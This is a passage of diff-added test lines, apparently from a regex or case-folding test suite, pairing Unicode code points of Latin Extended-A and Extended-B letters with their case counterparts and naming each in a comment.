+test(0x0107, 0x0106); // LATIN SMALL LETTER C WITH ACUTE (LATIN SMALL LETTER C ACUTE), LATIN CAPITAL LETTER C WITH ACUTE (LATIN CAPITAL LETTER C ACUTE)
+test(0x0108, 0x0109); // LATIN CAPITAL LETTER C WITH CIRCUMFLEX (LATIN CAPITAL LETTER C CIRCUMFLEX), LATIN SMALL LETTER C WITH CIRCUMFLEX (LATIN SMALL LETTER C CIRCUMFLEX)
+test(0x0109, 0x0108); // LATIN SMALL LETTER C WITH CIRCUMFLEX (LATIN SMALL LETTER C CIRCUMFLEX), LATIN CAPITAL LETTER C WITH CIRCUMFLEX (LATIN CAPITAL LETTER C CIRCUMFLEX)
+test(0x010A, 0x010B); // LATIN CAPITAL LETTER C WITH DOT ABOVE (LATIN CAPITAL LETTER C DOT), LATIN SMALL LETTER C WITH DOT ABOVE (LATIN SMALL LETTER C DOT)
+test(0x010B, 0x010A); // LATIN SMALL LETTER C WITH DOT ABOVE (LATIN SMALL LETTER C DOT), LATIN CAPITAL LETTER C WITH DOT ABOVE (LATIN CAPITAL LETTER C DOT)
+test(0x010C, 0x010D); // LATIN CAPITAL LETTER C WITH CARON (LATIN CAPITAL LETTER C HACEK), LATIN SMALL LETTER C WITH CARON (LATIN SMALL LETTER C HACEK)
+test(0x010D, 0x010C); // LATIN SMALL LETTER C WITH CARON (LATIN SMALL LETTER C HACEK), LATIN CAPITAL LETTER C WITH CARON (LATIN CAPITAL LETTER C HACEK)
+test(0x010E, 0x010F); // LATIN CAPITAL LETTER D WITH CARON (LATIN CAPITAL LETTER D HACEK), LATIN SMALL LETTER D WITH CARON (LATIN SMALL LETTER D HACEK)
+test(0x010F, 0x010E); // LATIN SMALL LETTER D WITH CARON (LATIN SMALL LETTER D HACEK), LATIN CAPITAL LETTER D WITH CARON (LATIN CAPITAL LETTER D HACEK)
+test(0x0110, 0x0111); // LATIN CAPITAL LETTER D WITH STROKE (LATIN CAPITAL LETTER D BAR), LATIN SMALL LETTER D WITH STROKE (LATIN SMALL LETTER D BAR)
+test(0x0111, 0x0110); // LATIN SMALL LETTER D WITH STROKE (LATIN SMALL LETTER D BAR), LATIN CAPITAL LETTER D WITH STROKE (LATIN CAPITAL LETTER D BAR)
+test(0x0112, 0x0113); // LATIN CAPITAL LETTER E WITH MACRON (LATIN CAPITAL LETTER E MACRON), LATIN SMALL LETTER E WITH MACRON (LATIN SMALL LETTER E MACRON)
+test(0x0113, 0x0112); // LATIN SMALL LETTER E WITH MACRON (LATIN SMALL LETTER E MACRON), LATIN CAPITAL LETTER E WITH MACRON (LATIN CAPITAL LETTER E MACRON)
+test(0x0114, 0x0115); // LATIN CAPITAL LETTER E WITH BREVE (LATIN CAPITAL LETTER E BREVE), LATIN SMALL LETTER E WITH BREVE (LATIN SMALL LETTER E BREVE)
+test(0x0115, 0x0114); // LATIN SMALL LETTER E WITH BREVE (LATIN SMALL LETTER E BREVE), LATIN CAPITAL LETTER E WITH BREVE (LATIN CAPITAL LETTER E BREVE)
+test(0x0116, 0x0117); // LATIN CAPITAL LETTER E WITH DOT ABOVE (LATIN CAPITAL LETTER E DOT), LATIN SMALL LETTER E WITH DOT ABOVE (LATIN SMALL LETTER E DOT)
+test(0x0117, 0x0116); // LATIN SMALL LETTER E WITH DOT ABOVE (LATIN SMALL LETTER E DOT), LATIN CAPITAL LETTER E WITH DOT ABOVE (LATIN CAPITAL LETTER E DOT)
+test(0x0118, 0x0119); // LATIN CAPITAL LETTER E WITH OGONEK (LATIN CAPITAL LETTER E OGONEK), LATIN SMALL LETTER E WITH OGONEK (LATIN SMALL LETTER E OGONEK)
+test(0x0119, 0x0118); // LATIN SMALL LETTER E WITH OGONEK (LATIN SMALL LETTER E OGONEK), LATIN CAPITAL LETTER E WITH OGONEK (LATIN CAPITAL LETTER E OGONEK)
+test(0x011A, 0x011B); // LATIN CAPITAL LETTER E WITH CARON (LATIN CAPITAL LETTER E HACEK), LATIN SMALL LETTER E WITH CARON (LATIN SMALL LETTER E HACEK)
+test(0x011B, 0x011A); // LATIN SMALL LETTER E WITH CARON (LATIN SMALL LETTER E HACEK), LATIN CAPITAL LETTER E WITH CARON (LATIN CAPITAL LETTER E HACEK)
+test(0x011C, 0x011D); // LATIN CAPITAL LETTER G WITH CIRCUMFLEX (LATIN CAPITAL LETTER G CIRCUMFLEX), LATIN SMALL LETTER G WITH CIRCUMFLEX (LATIN SMALL LETTER G CIRCUMFLEX)
+test(0x011D, 0x011C); // LATIN SMALL LETTER G WITH CIRCUMFLEX (LATIN SMALL LETTER G CIRCUMFLEX), LATIN CAPITAL LETTER G WITH CIRCUMFLEX (LATIN CAPITAL LETTER G CIRCUMFLEX)
+test(0x011E, 0x011F); // LATIN CAPITAL LETTER G WITH BREVE (LATIN CAPITAL LETTER G BREVE), LATIN SMALL LETTER G WITH BREVE (LATIN SMALL LETTER G BREVE)
+test(0x011F, 0x011E); // LATIN SMALL LETTER G WITH BREVE (LATIN SMALL LETTER G BREVE), LATIN CAPITAL LETTER G WITH BREVE (LATIN CAPITAL LETTER G BREVE)
+test(0x0120, 0x0121); // LATIN CAPITAL LETTER G WITH DOT ABOVE (LATIN CAPITAL LETTER G DOT), LATIN SMALL LETTER G WITH DOT ABOVE (LATIN SMALL LETTER G DOT)
+test(0x0121, 0x0120); // LATIN SMALL LETTER G WITH DOT ABOVE (LATIN SMALL LETTER G DOT), LATIN CAPITAL LETTER G WITH DOT ABOVE (LATIN CAPITAL LETTER G DOT)
+test(0x0122, 0x0123); // LATIN CAPITAL LETTER G WITH CEDILLA (LATIN CAPITAL LETTER G CEDILLA), LATIN SMALL LETTER G WITH CEDILLA (LATIN SMALL LETTER G CEDILLA)
+test(0x0123, 0x0122); // LATIN SMALL LETTER G WITH CEDILLA (LATIN SMALL LETTER G CEDILLA), LATIN CAPITAL LETTER G WITH CEDILLA (LATIN CAPITAL LETTER G CEDILLA)
+test(0x0124, 0x0125); // LATIN CAPITAL LETTER H WITH CIRCUMFLEX (LATIN CAPITAL LETTER H CIRCUMFLEX), LATIN SMALL LETTER H WITH CIRCUMFLEX (LATIN SMALL LETTER H CIRCUMFLEX)
+test(0x0125, 0x0124); // LATIN SMALL LETTER H WITH CIRCUMFLEX (LATIN SMALL LETTER H CIRCUMFLEX), LATIN CAPITAL LETTER H WITH CIRCUMFLEX (LATIN CAPITAL LETTER H CIRCUMFLEX)
+test(0x0126, 0x0127); // LATIN CAPITAL LETTER H WITH STROKE (LATIN CAPITAL LETTER H BAR), LATIN SMALL LETTER H WITH STROKE (LATIN SMALL LETTER H BAR)
+test(0x0127, 0x0126); // LATIN SMALL LETTER H WITH STROKE (LATIN SMALL LETTER H BAR), LATIN CAPITAL LETTER H WITH STROKE (LATIN CAPITAL LETTER H BAR)
+test(0x0128, 0x0129); // LATIN CAPITAL LETTER I WITH TILDE (LATIN CAPITAL LETTER I TILDE), LATIN SMALL LETTER I WITH TILDE (LATIN SMALL LETTER I TILDE)
+test(0x0129, 0x0128); // LATIN SMALL LETTER I WITH TILDE (LATIN SMALL LETTER I TILDE), LATIN CAPITAL LETTER I WITH TILDE (LATIN CAPITAL LETTER I TILDE)
+test(0x012A, 0x012B); // LATIN CAPITAL LETTER I WITH MACRON (LATIN CAPITAL LETTER I MACRON), LATIN SMALL LETTER I WITH MACRON (LATIN SMALL LETTER I MACRON)
+test(0x012B, 0x012A); // LATIN SMALL LETTER I WITH MACRON (LATIN SMALL LETTER I MACRON), LATIN CAPITAL LETTER I WITH MACRON (LATIN CAPITAL LETTER I MACRON)
+test(0x012C, 0x012D); // LATIN CAPITAL LETTER I WITH BREVE (LATIN CAPITAL LETTER I BREVE), LATIN SMALL LETTER I WITH BREVE (LATIN SMALL LETTER I BREVE)
+test(0x012D, 0x012C); // LATIN SMALL LETTER I WITH BREVE (LATIN SMALL LETTER I BREVE), LATIN CAPITAL LETTER I WITH BREVE (LATIN CAPITAL LETTER I BREVE)
+test(0x012E, 0x012F); // LATIN CAPITAL LETTER I WITH OGONEK (LATIN CAPITAL LETTER I OGONEK), LATIN SMALL LETTER I WITH OGONEK (LATIN SMALL LETTER I OGONEK)
+test(0x012F, 0x012E); // LATIN SMALL LETTER I WITH OGONEK (LATIN SMALL LETTER I OGONEK), LATIN CAPITAL LETTER I WITH OGONEK (LATIN CAPITAL LETTER I OGONEK)
+test(0x0132, 0x0133); // LATIN CAPITAL LIGATURE IJ (LATIN CAPITAL LETTER I J), LATIN SMALL LIGATURE IJ (LATIN SMALL LETTER I J)
+test(0x0133, 0x0132); // LATIN SMALL LIGATURE IJ (LATIN SMALL LETTER I J), LATIN CAPITAL LIGATURE IJ (LATIN CAPITAL LETTER I J)
+test(0x0134, 0x0135); // LATIN CAPITAL LETTER J WITH CIRCUMFLEX (LATIN CAPITAL LETTER J CIRCUMFLEX), LATIN SMALL LETTER J WITH CIRCUMFLEX (LATIN SMALL LETTER J CIRCUMFLEX)
+test(0x0135, 0x0134); // LATIN SMALL LETTER J WITH CIRCUMFLEX (LATIN SMALL LETTER J CIRCUMFLEX), LATIN CAPITAL LETTER J WITH CIRCUMFLEX (LATIN CAPITAL LETTER J CIRCUMFLEX)
+test(0x0136, 0x0137); // LATIN CAPITAL LETTER K WITH CEDILLA (LATIN CAPITAL LETTER K CEDILLA), LATIN SMALL LETTER K WITH CEDILLA (LATIN SMALL LETTER K CEDILLA)
+test(0x0137, 0x0136); // LATIN SMALL LETTER K WITH CEDILLA (LATIN SMALL LETTER K CEDILLA), LATIN CAPITAL LETTER K WITH CEDILLA (LATIN CAPITAL LETTER K CEDILLA)
+test(0x0139, 0x013A); // LATIN CAPITAL LETTER L WITH ACUTE (LATIN CAPITAL LETTER L ACUTE), LATIN SMALL LETTER L WITH ACUTE (LATIN SMALL LETTER L ACUTE)
+test(0x013A, 0x0139); // LATIN SMALL LETTER L WITH ACUTE (LATIN SMALL LETTER L ACUTE), LATIN CAPITAL LETTER L WITH ACUTE (LATIN CAPITAL LETTER L ACUTE)
+test(0x013B, 0x013C); // LATIN CAPITAL LETTER L WITH CEDILLA (LATIN CAPITAL LETTER L CEDILLA), LATIN SMALL LETTER L WITH CEDILLA (LATIN SMALL LETTER L CEDILLA)
+test(0x013C, 0x013B); // LATIN SMALL LETTER L WITH CEDILLA (LATIN SMALL LETTER L CEDILLA), LATIN CAPITAL LETTER L WITH CEDILLA (LATIN CAPITAL LETTER L CEDILLA)
+test(0x013D, 0x013E); // LATIN CAPITAL LETTER L WITH CARON (LATIN CAPITAL LETTER L HACEK), LATIN SMALL LETTER L WITH CARON (LATIN SMALL LETTER L HACEK)
+test(0x013E, 0x013D); // LATIN SMALL LETTER L WITH CARON (LATIN SMALL LETTER L HACEK), LATIN CAPITAL LETTER L WITH CARON (LATIN CAPITAL LETTER L HACEK)
+test(0x013F, 0x0140); // LATIN CAPITAL LETTER L WITH MIDDLE DOT, LATIN SMALL LETTER L WITH MIDDLE DOT
+test(0x0140, 0x013F); // LATIN SMALL LETTER L WITH MIDDLE DOT, LATIN CAPITAL LETTER L WITH MIDDLE DOT
+test(0x0141, 0x0142); // LATIN CAPITAL LETTER L WITH STROKE (LATIN CAPITAL LETTER L SLASH), LATIN SMALL LETTER L WITH STROKE (LATIN SMALL LETTER L SLASH)
+test(0x0142, 0x0141); // LATIN SMALL LETTER L WITH STROKE (LATIN SMALL LETTER L SLASH), LATIN CAPITAL LETTER L WITH STROKE (LATIN CAPITAL LETTER L SLASH)
+test(0x0143, 0x0144); // LATIN CAPITAL LETTER N WITH ACUTE (LATIN CAPITAL LETTER N ACUTE), LATIN SMALL LETTER N WITH ACUTE (LATIN SMALL LETTER N ACUTE)
+test(0x0144, 0x0143); // LATIN SMALL LETTER N WITH ACUTE (LATIN SMALL LETTER N ACUTE), LATIN CAPITAL LETTER N WITH ACUTE (LATIN CAPITAL LETTER N ACUTE)
+test(0x0145, 0x0146); // LATIN CAPITAL LETTER N WITH CEDILLA (LATIN CAPITAL LETTER N CEDILLA), LATIN SMALL LETTER N WITH CEDILLA (LATIN SMALL LETTER N CEDILLA)
+test(0x0146, 0x0145); // LATIN SMALL LETTER N WITH CEDILLA (LATIN SMALL LETTER N CEDILLA), LATIN CAPITAL LETTER N WITH CEDILLA (LATIN CAPITAL LETTER N CEDILLA)
+test(0x0147, 0x0148); // LATIN CAPITAL LETTER N WITH CARON (LATIN CAPITAL LETTER N HACEK), LATIN SMALL LETTER N WITH CARON (LATIN SMALL LETTER N HACEK)
+test(0x0148, 0x0147); // LATIN SMALL LETTER N WITH CARON (LATIN SMALL LETTER N HACEK), LATIN CAPITAL LETTER N WITH CARON (LATIN CAPITAL LETTER N HACEK)
+test(0x014A, 0x014B); // LATIN CAPITAL LETTER ENG, LATIN SMALL LETTER ENG
+test(0x014B, 0x014A); // LATIN SMALL LETTER ENG, LATIN CAPITAL LETTER ENG
+test(0x014C, 0x014D); // LATIN CAPITAL LETTER O WITH MACRON (LATIN CAPITAL LETTER O MACRON), LATIN SMALL LETTER O WITH MACRON (LATIN SMALL LETTER O MACRON)
+test(0x014D, 0x014C); // LATIN SMALL LETTER O WITH MACRON (LATIN SMALL LETTER O MACRON), LATIN CAPITAL LETTER O WITH MACRON (LATIN CAPITAL LETTER O MACRON)
+test(0x014E, 0x014F); // LATIN CAPITAL LETTER O WITH BREVE (LATIN CAPITAL LETTER O BREVE), LATIN SMALL LETTER O WITH BREVE (LATIN SMALL LETTER O BREVE)
+test(0x014F, 0x014E); // LATIN SMALL LETTER O WITH BREVE (LATIN SMALL LETTER O BREVE), LATIN CAPITAL LETTER O WITH BREVE (LATIN CAPITAL LETTER O BREVE)
+test(0x0150, 0x0151); // LATIN CAPITAL LETTER O WITH DOUBLE ACUTE (LATIN CAPITAL LETTER O DOUBLE ACUTE), LATIN SMALL LETTER O WITH DOUBLE ACUTE (LATIN SMALL LETTER O DOUBLE ACUTE)
+test(0x0151, 0x0150); // LATIN SMALL LETTER O WITH DOUBLE ACUTE (LATIN SMALL LETTER O DOUBLE ACUTE), LATIN CAPITAL LETTER O WITH DOUBLE ACUTE (LATIN CAPITAL LETTER O DOUBLE ACUTE)
+test(0x0152, 0x0153); // LATIN CAPITAL LIGATURE OE (LATIN CAPITAL LETTER O E), LATIN SMALL LIGATURE OE (LATIN SMALL LETTER O E)
+test(0x0153, 0x0152); // LATIN SMALL LIGATURE OE (LATIN SMALL LETTER O E), LATIN CAPITAL LIGATURE OE (LATIN CAPITAL LETTER O E)
+test(0x0154, 0x0155); // LATIN CAPITAL LETTER R WITH ACUTE (LATIN CAPITAL LETTER R ACUTE), LATIN SMALL LETTER R WITH ACUTE (LATIN SMALL LETTER R ACUTE)
+test(0x0155, 0x0154); // LATIN SMALL LETTER R WITH ACUTE (LATIN SMALL LETTER R ACUTE), LATIN CAPITAL LETTER R WITH ACUTE (LATIN CAPITAL LETTER R ACUTE)
+test(0x0156, 0x0157); // LATIN CAPITAL LETTER R WITH CEDILLA (LATIN CAPITAL LETTER R CEDILLA), LATIN SMALL LETTER R WITH CEDILLA (LATIN SMALL LETTER R CEDILLA)
+test(0x0157, 0x0156); // LATIN SMALL LETTER R WITH CEDILLA (LATIN SMALL LETTER R CEDILLA), LATIN CAPITAL LETTER R WITH CEDILLA (LATIN CAPITAL LETTER R CEDILLA)
+test(0x0158, 0x0159); // LATIN CAPITAL LETTER R WITH CARON (LATIN CAPITAL LETTER R HACEK), LATIN SMALL LETTER R WITH CARON (LATIN SMALL LETTER R HACEK)
+test(0x0159, 0x0158); // LATIN SMALL LETTER R WITH CARON (LATIN SMALL LETTER R HACEK), LATIN CAPITAL LETTER R WITH CARON (LATIN CAPITAL LETTER R HACEK)
+test(0x015A, 0x015B); // LATIN CAPITAL LETTER S WITH ACUTE (LATIN CAPITAL LETTER S ACUTE), LATIN SMALL LETTER S WITH ACUTE (LATIN SMALL LETTER S ACUTE)
+test(0x015B, 0x015A); // LATIN SMALL LETTER S WITH ACUTE (LATIN SMALL LETTER S ACUTE), LATIN CAPITAL LETTER S WITH ACUTE (LATIN CAPITAL LETTER S ACUTE)
+test(0x015C, 0x015D); // LATIN CAPITAL LETTER S WITH CIRCUMFLEX (LATIN CAPITAL LETTER S CIRCUMFLEX), LATIN SMALL LETTER S WITH CIRCUMFLEX (LATIN SMALL LETTER S CIRCUMFLEX)
+test(0x015D, 0x015C); // LATIN SMALL LETTER S WITH CIRCUMFLEX (LATIN SMALL LETTER S CIRCUMFLEX), LATIN CAPITAL LETTER S WITH CIRCUMFLEX (LATIN CAPITAL LETTER S CIRCUMFLEX)
+test(0x015E, 0x015F); // LATIN CAPITAL LETTER S WITH CEDILLA (LATIN CAPITAL LETTER S CEDILLA), LATIN SMALL LETTER S WITH CEDILLA (LATIN SMALL LETTER S CEDILLA)
+test(0x015F, 0x015E); // LATIN SMALL LETTER S WITH CEDILLA (LATIN SMALL LETTER S CEDILLA), LATIN CAPITAL LETTER S WITH CEDILLA (LATIN CAPITAL LETTER S CEDILLA)
+test(0x0160, 0x0161); // LATIN CAPITAL LETTER S WITH CARON (LATIN CAPITAL LETTER S HACEK), LATIN SMALL LETTER S WITH CARON (LATIN SMALL LETTER S HACEK)
+test(0x0161, 0x0160); // LATIN SMALL LETTER S WITH CARON (LATIN SMALL LETTER S HACEK), LATIN CAPITAL LETTER S WITH CARON (LATIN CAPITAL LETTER S HACEK)
+test(0x0162, 0x0163); // LATIN CAPITAL LETTER T WITH CEDILLA (LATIN CAPITAL LETTER T CEDILLA), LATIN SMALL LETTER T WITH CEDILLA (LATIN SMALL LETTER T CEDILLA)
+test(0x0163, 0x0162); // LATIN SMALL LETTER T WITH CEDILLA (LATIN SMALL LETTER T CEDILLA), LATIN CAPITAL LETTER T WITH CEDILLA (LATIN CAPITAL LETTER T CEDILLA)
+test(0x0164, 0x0165); // LATIN CAPITAL LETTER T WITH CARON (LATIN CAPITAL LETTER T HACEK), LATIN SMALL LETTER T WITH CARON (LATIN SMALL LETTER T HACEK)
+test(0x0165, 0x0164); // LATIN SMALL LETTER T WITH CARON (LATIN SMALL LETTER T HACEK), LATIN CAPITAL LETTER T WITH CARON (LATIN CAPITAL LETTER T HACEK)
+test(0x0166, 0x0167); // LATIN CAPITAL LETTER T WITH STROKE (LATIN CAPITAL LETTER T BAR), LATIN SMALL LETTER T WITH STROKE (LATIN SMALL LETTER T BAR)
+test(0x0167, 0x0166); // LATIN SMALL LETTER T WITH STROKE (LATIN SMALL LETTER T BAR), LATIN CAPITAL LETTER T WITH STROKE (LATIN CAPITAL LETTER T BAR)
+test(0x0168, 0x0169); // LATIN CAPITAL LETTER U WITH TILDE (LATIN CAPITAL LETTER U TILDE), LATIN SMALL LETTER U WITH TILDE (LATIN SMALL LETTER U TILDE)
+test(0x0169, 0x0168); // LATIN SMALL LETTER U WITH TILDE (LATIN SMALL LETTER U TILDE), LATIN CAPITAL LETTER U WITH TILDE (LATIN CAPITAL LETTER U TILDE)
+test(0x016A, 0x016B); // LATIN CAPITAL LETTER U WITH MACRON (LATIN CAPITAL LETTER U MACRON), LATIN SMALL LETTER U WITH MACRON (LATIN SMALL LETTER U MACRON)
+test(0x016B, 0x016A); // LATIN SMALL LETTER U WITH MACRON (LATIN SMALL LETTER U MACRON), LATIN CAPITAL LETTER U WITH MACRON (LATIN CAPITAL LETTER U MACRON)
+test(0x016C, 0x016D); // LATIN CAPITAL LETTER U WITH BREVE (LATIN CAPITAL LETTER U BREVE), LATIN SMALL LETTER U WITH BREVE (LATIN SMALL LETTER U BREVE)
+test(0x016D, 0x016C); // LATIN SMALL LETTER U WITH BREVE (LATIN SMALL LETTER U BREVE), LATIN CAPITAL LETTER U WITH BREVE (LATIN CAPITAL LETTER U BREVE)
+test(0x016E, 0x016F); // LATIN CAPITAL LETTER U WITH RING ABOVE (LATIN CAPITAL LETTER U RING), LATIN SMALL LETTER U WITH RING ABOVE (LATIN SMALL LETTER U RING)
+test(0x016F, 0x016E); // LATIN SMALL LETTER U WITH RING ABOVE (LATIN SMALL LETTER U RING), LATIN CAPITAL LETTER U WITH RING ABOVE (LATIN CAPITAL LETTER U RING)
+test(0x0170, 0x0171); // LATIN CAPITAL LETTER U WITH DOUBLE ACUTE (LATIN CAPITAL LETTER U DOUBLE ACUTE), LATIN SMALL LETTER U WITH DOUBLE ACUTE (LATIN SMALL LETTER U DOUBLE ACUTE)
+test(0x0171, 0x0170); // LATIN SMALL LETTER U WITH DOUBLE ACUTE (LATIN SMALL LETTER U DOUBLE ACUTE), LATIN CAPITAL LETTER U WITH DOUBLE ACUTE (LATIN CAPITAL LETTER U DOUBLE ACUTE)
+test(0x0172, 0x0173); // LATIN CAPITAL LETTER U WITH OGONEK (LATIN CAPITAL LETTER U OGONEK), LATIN SMALL LETTER U WITH OGONEK (LATIN SMALL LETTER U OGONEK)
+test(0x0173, 0x0172); // LATIN SMALL LETTER U WITH OGONEK (LATIN SMALL LETTER U OGONEK), LATIN CAPITAL LETTER U WITH OGONEK (LATIN CAPITAL LETTER U OGONEK)
+test(0x0174, 0x0175); // LATIN CAPITAL LETTER W WITH CIRCUMFLEX (LATIN CAPITAL LETTER W CIRCUMFLEX), LATIN SMALL LETTER W WITH CIRCUMFLEX (LATIN SMALL LETTER W CIRCUMFLEX)
+test(0x0175, 0x0174); // LATIN SMALL LETTER W WITH CIRCUMFLEX (LATIN SMALL LETTER W CIRCUMFLEX), LATIN CAPITAL LETTER W WITH CIRCUMFLEX (LATIN CAPITAL LETTER W CIRCUMFLEX)
+test(0x0176, 0x0177); // LATIN CAPITAL LETTER Y WITH CIRCUMFLEX (LATIN CAPITAL LETTER Y CIRCUMFLEX), LATIN SMALL LETTER Y WITH CIRCUMFLEX (LATIN SMALL LETTER Y CIRCUMFLEX)
+test(0x0177, 0x0176); // LATIN SMALL LETTER Y WITH CIRCUMFLEX (LATIN SMALL LETTER Y CIRCUMFLEX), LATIN CAPITAL LETTER Y WITH CIRCUMFLEX (LATIN CAPITAL LETTER Y CIRCUMFLEX)
+test(0x0178, 0x00FF); // LATIN CAPITAL LETTER Y WITH DIAERESIS (LATIN CAPITAL LETTER Y DIAERESIS), LATIN SMALL LETTER Y WITH DIAERESIS (LATIN SMALL LETTER Y DIAERESIS)
+test(0x0179, 0x017A); // LATIN CAPITAL LETTER Z WITH ACUTE (LATIN CAPITAL LETTER Z ACUTE), LATIN SMALL LETTER Z WITH ACUTE (LATIN SMALL LETTER Z ACUTE)
+test(0x017A, 0x0179); // LATIN SMALL LETTER Z WITH ACUTE (LATIN SMALL LETTER Z ACUTE), LATIN CAPITAL LETTER Z WITH ACUTE (LATIN CAPITAL LETTER Z ACUTE)
+test(0x017B, 0x017C); // LATIN CAPITAL LETTER Z WITH DOT ABOVE (LATIN CAPITAL LETTER Z DOT), LATIN SMALL LETTER Z WITH DOT ABOVE (LATIN SMALL LETTER Z DOT)
+test(0x017C, 0x017B); // LATIN SMALL LETTER Z WITH DOT ABOVE (LATIN SMALL LETTER Z DOT), LATIN CAPITAL LETTER Z WITH DOT ABOVE (LATIN CAPITAL LETTER Z DOT)
+test(0x017D, 0x017E); // LATIN CAPITAL LETTER Z WITH CARON (LATIN CAPITAL LETTER Z HACEK), LATIN SMALL LETTER Z WITH CARON (LATIN SMALL LETTER Z HACEK)
+test(0x017E, 0x017D); // LATIN SMALL LETTER Z WITH CARON (LATIN SMALL LETTER Z HACEK), LATIN CAPITAL LETTER Z WITH CARON (LATIN CAPITAL LETTER Z HACEK)
+test(0x017F, 0x0073, 0x0053); // LATIN SMALL LETTER LONG S, LATIN SMALL LETTER S, LATIN CAPITAL LETTER S
+test(0x0180, 0x0243); // LATIN SMALL LETTER B WITH STROKE (LATIN SMALL LETTER B BAR), LATIN CAPITAL LETTER B WITH STROKE
+test(0x0181, 0x0253); // LATIN CAPITAL LETTER B WITH HOOK (LATIN CAPITAL LETTER B HOOK), LATIN SMALL LETTER B WITH HOOK (LATIN SMALL LETTER B HOOK)
+test(0x0182, 0x0183); // LATIN CAPITAL LETTER B WITH TOPBAR (LATIN CAPITAL LETTER B TOPBAR), LATIN SMALL LETTER B WITH TOPBAR (LATIN SMALL LETTER B TOPBAR)
+test(0x0183, 0x0182); // LATIN SMALL LETTER B WITH TOPBAR (LATIN SMALL LETTER B TOPBAR), LATIN CAPITAL LETTER B WITH TOPBAR (LATIN CAPITAL LETTER B TOPBAR)
+test(0x0184, 0x0185); // LATIN CAPITAL LETTER TONE SIX, LATIN SMALL LETTER TONE SIX
+test(0x0185, 0x0184); // LATIN SMALL LETTER TONE SIX, LATIN CAPITAL LETTER TONE SIX
+test(0x0186, 0x0254); // LATIN CAPITAL LETTER OPEN O, LATIN SMALL LETTER OPEN O
+test(0x0187, 0x0188); // LATIN CAPITAL LETTER C WITH HOOK (LATIN CAPITAL LETTER C HOOK), LATIN SMALL LETTER C WITH HOOK (LATIN SMALL LETTER C HOOK)
+test(0x0188, 0x0187); // LATIN SMALL LETTER C WITH HOOK (LATIN SMALL LETTER C HOOK), LATIN CAPITAL LETTER C WITH HOOK (LATIN CAPITAL LETTER C HOOK)
+test(0x0189, 0x0256); // LATIN CAPITAL LETTER AFRICAN D, LATIN SMALL LETTER D WITH TAIL (LATIN SMALL LETTER D RETROFLEX HOOK)
+test(0x018A, 0x0257); // LATIN CAPITAL LETTER D WITH HOOK (LATIN CAPITAL LETTER D HOOK), LATIN SMALL LETTER D WITH HOOK (LATIN SMALL LETTER D HOOK)
+test(0x018B, 0x018C); // LATIN CAPITAL LETTER D WITH TOPBAR (LATIN CAPITAL LETTER D TOPBAR), LATIN SMALL LETTER D WITH TOPBAR (LATIN SMALL LETTER D TOPBAR)
+test(0x018C, 0x018B); // LATIN SMALL LETTER D WITH TOPBAR (LATIN SMALL LETTER D TOPBAR), LATIN CAPITAL LETTER D WITH TOPBAR (LATIN CAPITAL LETTER D TOPBAR)
+test(0x018E, 0x01DD); // LATIN CAPITAL LETTER REVERSED E (LATIN CAPITAL LETTER TURNED E), LATIN SMALL LETTER TURNED E
+test(0x018F, 0x0259); // LATIN CAPITAL LETTER SCHWA, LATIN SMALL LETTER SCHWA
+test(0x0190, 0x025B); // LATIN CAPITAL LETTER OPEN E (LATIN CAPITAL LETTER EPSILON), LATIN SMALL LETTER OPEN E (LATIN SMALL LETTER EPSILON)
+test(0x0191, 0x0192); // LATIN CAPITAL LETTER F WITH HOOK (LATIN CAPITAL LETTER F HOOK), LATIN SMALL LETTER F WITH HOOK (LATIN SMALL LETTER SCRIPT F)
+test(0x0192, 0x0191); // LATIN SMALL LETTER F WITH HOOK (LATIN SMALL LETTER SCRIPT F), LATIN CAPITAL LETTER F WITH HOOK (LATIN CAPITAL LETTER F HOOK)
+test(0x0193, 0x0260); // LATIN CAPITAL LETTER G WITH HOOK (LATIN CAPITAL LETTER G HOOK), LATIN SMALL LETTER G WITH HOOK (LATIN SMALL LETTER G HOOK)
+test(0x0194, 0x0263); // LATIN CAPITAL LETTER GAMMA, LATIN SMALL LETTER GAMMA
+test(0x0195, 0x01F6); // LATIN SMALL LETTER HV (LATIN SMALL LETTER H V), LATIN CAPITAL LETTER HWAIR
+test(0x0196, 0x0269); // LATIN CAPITAL LETTER IOTA, LATIN SMALL LETTER IOTA
+test(0x0197, 0x0268); // LATIN CAPITAL LETTER I WITH STROKE (LATIN CAPITAL LETTER BARRED I), LATIN SMALL LETTER I WITH STROKE (LATIN SMALL LETTER BARRED I)
+test(0x0198, 0x0199); // LATIN CAPITAL LETTER K WITH HOOK (LATIN CAPITAL LETTER K HOOK), LATIN SMALL LETTER K WITH HOOK (LATIN SMALL LETTER K HOOK)
+test(0x0199, 0x0198); // LATIN SMALL LETTER K WITH HOOK (LATIN SMALL LETTER K HOOK), LATIN CAPITAL LETTER K WITH HOOK (LATIN CAPITAL LETTER K HOOK)
+test(0x019A, 0x023D); // LATIN SMALL LETTER L WITH BAR (LATIN SMALL LETTER BARRED L), LATIN CAPITAL LETTER L WITH BAR
+test(0x019C, 0x026F); // LATIN CAPITAL LETTER TURNED M, LATIN SMALL LETTER TURNED M
+test(0x019D, 0x0272); // LATIN CAPITAL LETTER N WITH LEFT HOOK (LATIN CAPITAL LETTER N HOOK), LATIN SMALL LETTER N WITH LEFT HOOK (LATIN SMALL LETTER N HOOK)
+test(0x019E, 0x0220); // LATIN SMALL LETTER N WITH LONG RIGHT LEG, LATIN CAPITAL LETTER N WITH LONG RIGHT LEG
+test(0x019F, 0x0275); // LATIN CAPITAL LETTER O WITH MIDDLE TILDE (LATIN CAPITAL LETTER BARRED O), LATIN SMALL LETTER BARRED O
+test(0x01A0, 0x01A1); // LATIN CAPITAL LETTER O WITH HORN (LATIN CAPITAL LETTER O HORN), LATIN SMALL LETTER O WITH HORN (LATIN SMALL LETTER O HORN)
+test(0x01A1, 0x01A0); // LATIN SMALL LETTER O WITH HORN (LATIN SMALL LETTER O HORN), LATIN CAPITAL LETTER O WITH HORN (LATIN CAPITAL LETTER O HORN)
+test(0x01A2, 0x01A3); // LATIN CAPITAL LETTER OI (LATIN CAPITAL LETTER O I), LATIN SMALL LETTER OI (LATIN SMALL LETTER O I)
+test(0x01A3, 0x01A2); // LATIN SMALL LETTER OI (LATIN SMALL LETTER O I), LATIN CAPITAL LETTER OI (LATIN CAPITAL LETTER O I)
+test(0x01A4, 0x01A5); // LATIN CAPITAL LETTER P WITH HOOK (LATIN CAPITAL LETTER P HOOK), LATIN SMALL LETTER P WITH HOOK (LATIN SMALL LETTER P HOOK)
+test(0x01A5, 0x01A4); // LATIN SMALL LETTER P WITH HOOK (LATIN SMALL LETTER P HOOK), LATIN CAPITAL LETTER P WITH HOOK (LATIN CAPITAL LETTER P HOOK)
